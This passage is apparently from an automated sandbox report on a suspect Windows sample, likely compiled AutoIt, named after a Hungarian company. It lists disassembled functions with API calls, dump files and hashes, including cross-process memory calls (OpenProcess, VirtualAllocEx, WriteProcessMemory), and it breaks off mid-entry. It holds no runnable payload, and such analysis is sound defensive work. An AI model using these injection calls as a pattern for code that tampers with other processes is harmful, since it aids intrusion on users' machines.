                                                              • GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00788121
                                                              • GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 0078812B
                                                              • GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 0078813A
                                                              • HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00788141
                                                              • GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00788157
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: HeapInformationToken$AllocErrorLastProcess
                                                              • String ID:
                                                              • API String ID: 44706859-0
                                                              • Opcode ID: 9bc94537ddc681713f3bea44ef11ed2ff450f224db87728ce0b880159943a6eb
                                                              • Instruction ID: dae074511820fd3d3f0e41146fa4ffc71596dbca77cb8aa63b00765caa38efab
                                                              • Opcode Fuzzy Hash: 9bc94537ddc681713f3bea44ef11ed2ff450f224db87728ce0b880159943a6eb
                                                              • Instruction Fuzzy Hash: 4DF0AF70280308BFEB516FA8EC8CF673BACEF49B54B404129F945C2160CF689C01DB61
                                                              Function 0078C1E3 Relevance: 7.5, APIs: 5, Instructions: 41windowtimeCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetDlgItem.USER32(?,000003E9), ref: 0078C1F7
                                                              • GetWindowTextW.USER32(00000000,?,00000100), ref: 0078C20E
                                                              • MessageBeep.USER32(00000000), ref: 0078C226
                                                              • KillTimer.USER32(?,0000040A), ref: 0078C242
                                                              • EndDialog.USER32(?,00000001), ref: 0078C25C
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: BeepDialogItemKillMessageTextTimerWindow
                                                              • String ID:
                                                              • API String ID: 3741023627-0
                                                              • Opcode ID: 713069180364a2499f0b37ab6826178c8c8caa2829114d365c23da90e093e647
                                                              • Instruction ID: 80d08f5f676e02b45d48f8ff093065da97a556df54ef42b8a8c47820492151d2
                                                              • Opcode Fuzzy Hash: 713069180364a2499f0b37ab6826178c8c8caa2829114d365c23da90e093e647
                                                              • Instruction Fuzzy Hash: DF01D630444704ABEB216B64ED4EF9677B8FF00F06F004369F982A14E1DBF86944CBA4
                                                              Function 007313B0 Relevance: 7.5, APIs: 5, Instructions: 29COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • EndPath.GDI32(?), ref: 007313BF
                                                              • StrokeAndFillPath.GDI32(?,?,0076B888,00000000,?), ref: 007313DB
                                                              • SelectObject.GDI32(?,00000000), ref: 007313EE
                                                              • DeleteObject.GDI32 ref: 00731401
                                                              • StrokePath.GDI32(?), ref: 0073141C
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Path$ObjectStroke$DeleteFillSelect
                                                              • String ID:
                                                              • API String ID: 2625713937-0
                                                              • Opcode ID: e1527dec706aad5796ec43a26bd3f0eafef0482f9625f601a5c1e7901cf27cc9
                                                              • Instruction ID: 6f54fcab0126244945b0380c44814a99acdbf3362245b94f2f88f109e3094f5d
                                                              • Opcode Fuzzy Hash: e1527dec706aad5796ec43a26bd3f0eafef0482f9625f601a5c1e7901cf27cc9
                                                              • Instruction Fuzzy Hash: 61F0FF31004B48EBEB116F2AEC4CB683FA4AB01766F58C325F529490F2C73D8995DF58
                                                              Function 0079C397 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 279comCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CoInitialize.OLE32(00000000), ref: 0079C432
                                                              • CoCreateInstance.OLE32(007C2D6C,00000000,00000001,007C2BDC,?), ref: 0079C44A
                                                                • Part of subcall function 00737DE1: _memmove.LIBCMT ref: 00737E22
                                                              • CoUninitialize.OLE32 ref: 0079C6B7
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: CreateInitializeInstanceUninitialize_memmove
                                                              • String ID: .lnk
                                                              • API String ID: 2683427295-24824748
                                                              • Opcode ID: 8194bb1d32d91f2216e34e2dad6ff8fe666bc0ff12ab535953a816bbe1c210ce
                                                              • Instruction ID: dcdbba65e16c4d5ddb899a2b525cb0cb0f8169da7d230307ff49c538f4f246ab
                                                              • Opcode Fuzzy Hash: 8194bb1d32d91f2216e34e2dad6ff8fe666bc0ff12ab535953a816bbe1c210ce
                                                              • Instruction Fuzzy Hash: CAA12AB1208305EFE704EF54C885EABB7A8FF85354F00491DF195971A2EB75AA09CB52
                                                              Function 00742CFB Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 265COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00750DB6: std::exception::exception.LIBCMT ref: 00750DEC
                                                                • Part of subcall function 00750DB6: __CxxThrowException@8.LIBCMT ref: 00750E01
                                                                • Part of subcall function 00737DE1: _memmove.LIBCMT ref: 00737E22
                                                                • Part of subcall function 00737A51: _memmove.LIBCMT ref: 00737AAB
                                                              • __swprintf.LIBCMT ref: 00742ECD
                                                              Strings
                                                              • \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 00742D66
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: _memmove$Exception@8Throw__swprintfstd::exception::exception
                                                              • String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
                                                              • API String ID: 1943609520-557222456
                                                              • Opcode ID: 1aae6ca466a992530187386840235f77ab7e47a704aa5483676796e5cd92e783
                                                              • Instruction ID: 6cc0bdc6132cc93eae4c2ab6582ec5170843c0f393c431066663f0f12e9bfd01
                                                              • Opcode Fuzzy Hash: 1aae6ca466a992530187386840235f77ab7e47a704aa5483676796e5cd92e783
                                                              • Instruction Fuzzy Hash: EC919DB1108701DFDB18EF24C889D6EB7A4EF85350F50491DF8859B2A2EB78ED49CB52
                                                              Function 0079B93B Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 261comCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00734750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00734743,?,?,007337AE,?), ref: 00734770
                                                              • CoInitialize.OLE32(00000000), ref: 0079B9BB
                                                              • CoCreateInstance.OLE32(007C2D6C,00000000,00000001,007C2BDC,?), ref: 0079B9D4
                                                              • CoUninitialize.OLE32 ref: 0079B9F1
                                                                • Part of subcall function 00739837: __itow.LIBCMT ref: 00739862
                                                                • Part of subcall function 00739837: __swprintf.LIBCMT ref: 007398AC
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: CreateFullInitializeInstanceNamePathUninitialize__itow__swprintf
                                                              • String ID: .lnk
                                                              • API String ID: 2126378814-24824748
                                                              • Opcode ID: 3575050546b0a8dec80bf54dc9fd96d1f350c9f32b19868cbd71a6169342ef90
                                                              • Instruction ID: 9ed87f66df1c48113239a504c3fd828b1a4a7d475f4bcefc6a9b9d15356a79ca
                                                              • Opcode Fuzzy Hash: 3575050546b0a8dec80bf54dc9fd96d1f350c9f32b19868cbd71a6169342ef90
                                                              • Instruction Fuzzy Hash: 8AA134B56043019FDB00DF14D984D5ABBE5FF89324F048998F9999B3A2CB39EC45CB91
                                                              Function 0078B2F3 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 241comCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • OleSetContainedObject.OLE32(?,00000001), ref: 0078B4BE
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: ContainedObject
                                                              • String ID: AutoIt3GUI$Container$%|
                                                              • API String ID: 3565006973-2882729281
                                                              • Opcode ID: 80ed37777a5e3eb3d7b9d9f580306a0edaa147bcf1057d7edeb7d86675d36a39
                                                              • Instruction ID: a24f3d3d63c6e7189fb9d73253f1ad89127d39ba6ecf80e51b5b24b591d7d519
                                                              • Opcode Fuzzy Hash: 80ed37777a5e3eb3d7b9d9f580306a0edaa147bcf1057d7edeb7d86675d36a39
                                                              • Instruction Fuzzy Hash: 7D915770640601EFDB14EF64C885B6ABBF9FF49710F20856DE94ACB6A1DBB4E841CB50
                                                              Function 0075501D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 180COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __startOneArgErrorHandling.LIBCMT ref: 007550AD
                                                                • Part of subcall function 007600F0: __87except.LIBCMT ref: 0076012B
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: ErrorHandling__87except__start
                                                              • String ID: pow
                                                              • API String ID: 2905807303-2276729525
                                                              • Opcode ID: 4461a50bcbb320a3c950089ef94418d40eea115b68f953bb0a0085fa51f9aa75
                                                              • Instruction ID: 395f208fc1abccde873b9759b7a3da87bbded496960a2049806a393e4be814c4
                                                              • Opcode Fuzzy Hash: 4461a50bcbb320a3c950089ef94418d40eea115b68f953bb0a0085fa51f9aa75
                                                              • Instruction Fuzzy Hash: 7E516B6090890687DB156724C8653BF2B94AF41711F208D59ECDB862E9EE7C8DCCDAC6
                                                              Function 00778584 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 148COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: _memmove
                                                              • String ID: 3ct$_t
                                                              • API String ID: 4104443479-1670605766
                                                              • Opcode ID: 6677ba12863107e43923d5f663fff9f31f10c5297c5890aeffced1e64352f04e
                                                              • Instruction ID: 227c323581a0d3b8cb5072bf87dbd8610f6b4d43f210b31bb4d74c5e70a53108
                                                              • Opcode Fuzzy Hash: 6677ba12863107e43923d5f663fff9f31f10c5297c5890aeffced1e64352f04e
                                                              • Instruction Fuzzy Hash: 2A515FB0D00615DFCF64CF68C884AAEBBF1FF44344F24852AE85AD7250EB38A955DB52
                                                              Function 007897F5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 122windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 007914BC: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00789296,?,?,00000034,00000800,?,00000034), ref: 007914E6
                                                              • SendMessageW.USER32(?,00001104,00000000,00000000), ref: 0078983F
                                                                • Part of subcall function 00791487: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,007892C5,?,?,00000800,?,00001073,00000000,?,?), ref: 007914B1
                                                                • Part of subcall function 007913DE: GetWindowThreadProcessId.USER32(?,?), ref: 00791409
                                                                • Part of subcall function 007913DE: OpenProcess.KERNEL32(00000438,00000000,?,?,?,0078925A,00000034,?,?,00001004,00000000,00000000), ref: 00791419
                                                                • Part of subcall function 007913DE: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,0078925A,00000034,?,?,00001004,00000000,00000000), ref: 0079142F
                                                              • SendMessageW.USER32(?,00001111,00000000,00000000), ref: 007898AC
                                                              • SendMessageW.USER32(?,00001111,00000000,00000000), ref: 007898F9
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
                                                              • String ID: @
                                                              • API String ID: 4150878124-2766056989
                                                              • Opcode ID: 402350fbe4bcfaf09ad1ba8d54d84bdf72596fca66cf65f34b11823884633935
                                                              • Instruction ID: f7aaf426c2ff128fe5364a17304be070cfa3ccf20e196fc4ccb970506fc8e53f
                                                              • Opcode Fuzzy Hash: 402350fbe4bcfaf09ad1ba8d54d84bdf72596fca66cf65f34b11823884633935
                                                              • Instruction Fuzzy Hash: 99418C7690021DAFCF10EFA4CC85AEEBBB8EB49300F004199FA45B7191DA746E45CBA0
                                                              Function 007B7946 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 110COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,007BF910,00000000,?,?,?,?), ref: 007B79DF
                                                              • GetWindowLongW.USER32 ref: 007B79FC
                                                              • SetWindowLongW.USER32(?,000000F0,00000000), ref: 007B7A0C
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Window$Long
                                                              • String ID: SysTreeView32
                                                              • API String ID: 847901565-1698111956
                                                              • Opcode ID: ac52d315c49617a73465c9af35e890b7201b2ede41f5d7b903602abbea265e10
                                                              • Instruction ID: 46f33f310829c0bae002f96f8190a93c49cfbe23e9eee3c46b6e340a5b541d48
                                                              • Opcode Fuzzy Hash: ac52d315c49617a73465c9af35e890b7201b2ede41f5d7b903602abbea265e10
                                                              • Instruction Fuzzy Hash: 8731B03120460AABEB158E38CC45BEA77A9EF45324F208725F975D22E1D739ED51CB50
                                                              Function 007B73D9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SendMessageW.USER32(00000000,00001009,00000000,?), ref: 007B7461
                                                              • SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 007B7475
                                                              • SendMessageW.USER32(?,00001002,00000000,?), ref: 007B7499
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: MessageSend$Window
                                                              • String ID: SysMonthCal32
                                                              • API String ID: 2326795674-1439706946
                                                              • Opcode ID: 88809b6a43051381e5e05804e14da07703a51ba497b169298af6eef26942dff6
                                                              • Instruction ID: 6aec6ecc902934e64d9ab1083c830424447d300dfe33eb0c3400ef5985c9a98c
                                                              • Opcode Fuzzy Hash: 88809b6a43051381e5e05804e14da07703a51ba497b169298af6eef26942dff6
                                                              • Instruction Fuzzy Hash: 5921A132600258BBDF158FA4CC46FEA3B79EF88724F110214FE156B1D0DAB9AC51DBA0
                                                              Function 007B7B93 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SendMessageW.USER32(00000000,00000469,?,00000000), ref: 007B7C4A
                                                              • SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 007B7C58
                                                              • DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 007B7C5F
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: MessageSend$DestroyWindow
                                                              • String ID: msctls_updown32
                                                              • API String ID: 4014797782-2298589950
                                                              • Opcode ID: 01f75814a59ad841964ef0f3e66a0f62b2a140c9c45b814f0d243a0650505f15
                                                              • Instruction ID: 66212b1812d3a87f8c26ed5e9aa1de4bb35afc6764cbddb1b29f6ef43b55645e
                                                              • Opcode Fuzzy Hash: 01f75814a59ad841964ef0f3e66a0f62b2a140c9c45b814f0d243a0650505f15
                                                              • Instruction Fuzzy Hash: D8216DB1604208AFDB15DF18DCC5DB63BACEB4A394B544059FA019B361CB75EC11CA70
                                                              Function 007B6CB0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SendMessageW.USER32(00000000,00000180,00000000,?), ref: 007B6D3B
                                                              • SendMessageW.USER32(?,00000186,00000000,00000000), ref: 007B6D4B
                                                              • MoveWindow.USER32(?,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 007B6D70
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: MessageSend$MoveWindow
                                                              • String ID: Listbox
                                                              • API String ID: 3315199576-2633736733
                                                              • Opcode ID: d7547ddaf30f2959998303e9090372944f32047df5e3158f5abde691ac60ec9a
                                                              • Instruction ID: c5a5d0e0d6a04563f32da24e599b387df5cc1527fa40e9175f5eb56c1e7bc904
                                                              • Opcode Fuzzy Hash: d7547ddaf30f2959998303e9090372944f32047df5e3158f5abde691ac60ec9a
                                                              • Instruction Fuzzy Hash: 3E218032710118BFDF118F54CC45FFB3BAAEF89754F018124FA459B1A0CA79AC5197A0
                                                              Function 007A39E9 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 84COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __snwprintf.LIBCMT ref: 007A3A66
                                                                • Part of subcall function 00737DE1: _memmove.LIBCMT ref: 00737E22
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: __snwprintf_memmove
                                                              • String ID: , $$AUTOITCALLVARIABLE%d$%|
                                                              • API String ID: 3506404897-2300887487
                                                              • Opcode ID: e7859a28c9410e75688485a9d6a039bf7ff29c5d6801fa62e2fbd59900b03c1f
                                                              • Instruction ID: 064293e1f9748b385d141e6bce1ff14d706506787f0942f1d4f8cfd3ee356aec
                                                              • Opcode Fuzzy Hash: e7859a28c9410e75688485a9d6a039bf7ff29c5d6801fa62e2fbd59900b03c1f
                                                              • Instruction Fuzzy Hash: A921A771600229EFCF54EF64CC86EAE77B5AF45700F504458F549A7182DB38EA45CB71
                                                              Function 007B770E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 007B7772
                                                              • SendMessageW.USER32(?,00000406,00000000,00640000), ref: 007B7787
                                                              • SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 007B7794
                                                              Strings
                                                              Memory Dump Source
